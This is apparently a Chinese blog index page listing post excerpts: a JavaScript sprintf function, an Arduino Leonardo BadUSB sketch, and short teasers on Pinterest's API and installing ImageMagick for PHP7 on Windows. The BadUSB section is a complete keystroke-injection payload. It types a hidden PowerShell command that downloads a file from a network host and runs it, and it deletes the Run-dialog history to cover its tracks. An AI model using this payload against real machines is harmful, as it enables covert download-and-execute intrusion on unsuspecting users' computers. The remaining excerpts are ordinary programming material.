JS sprintf 自定义函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
// 使用方法:sprintf("你好世界 %s %s", "Hello", "World");

sprintf: function (str) {
var args = arguments,
flag = true,
i = 1;

str = str.replace(/%s/g, function () {
var arg = args[i++];

if (typeof arg === 'undefined') {
flag = false;
return '';
}
return arg;
});
return flag ? str : '';
}

基于 Arduino Leonardo 的 BadUSB 下载文件并运行代码

Arduino Leonardo 的 BadUSB,适合于 Windows 平台,用 PowerShell 命令下载一个文件,并运行它

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
void setup() {
Keyboard.begin(); // 开始键盘通讯
delay(5000); // 延时
Keyboard.press(KEY_LEFT_GUI); // win键
delay(500);
Keyboard.press('r'); // r键
delay(500);
Keyboard.release(KEY_LEFT_GUI);
Keyboard.release('r');
Keyboard.press(KEY_CAPS_LOCK); // 利用开大写输小写绕过输入法
Keyboard.release(KEY_CAPS_LOCK);
delay(500);
Keyboard.println("cmd /c start /min reg delete hkcu\\software\\microsoft\\windows\\currentversion\\explorer\\runmru /f&cmd /c start /min powershell $p = new-object system.net.webclient;$p.downloadfile('http://192.168.1.111/1.jpg', 'd:\\1.jpg');start d:\\1.jpg;exit");
Keyboard.press(KEY_CAPS_LOCK);
Keyboard.release(KEY_CAPS_LOCK);
delay(500);
Keyboard.press(KEY_RETURN); // 按下回车键
Keyboard.release(KEY_RETURN); // 释放回车键
Keyboard.end(); // 结束键盘通讯
}

Pinterest.com API 分析

一篇关于网站 Pinterest 的 API 分析报告,用于快速采集 Pinterest 上的图片

Wikipedia: Pinterest(中文译名:缤趣),是一个网络与手机的应用程序,可以让用户利用其平台作为个人创意及项目工作所需的视觉探索工具,同时也有人把它视为一个图片分享类的社交网站,用户可以按主题分类添加和管理自己的图片收藏,并与好友分享。其使用的网站布局为瀑布流(Pinterest-style layout)。

继续阅览

ImageMagick 扩展 PHP7.0 Windows x64 安装步骤

在 Windows x64 环境下安装 PHP7 的 ImageMagick 扩展步骤

ImageMagick是一个用于查看、编辑位图文件以及进行图像格式转换的开放源代码软件套装。它可以读取、编辑超过100种图象格式。ImageMagick以ImageMagick许可证(一个类似BSD的许可证)发布。

继续阅览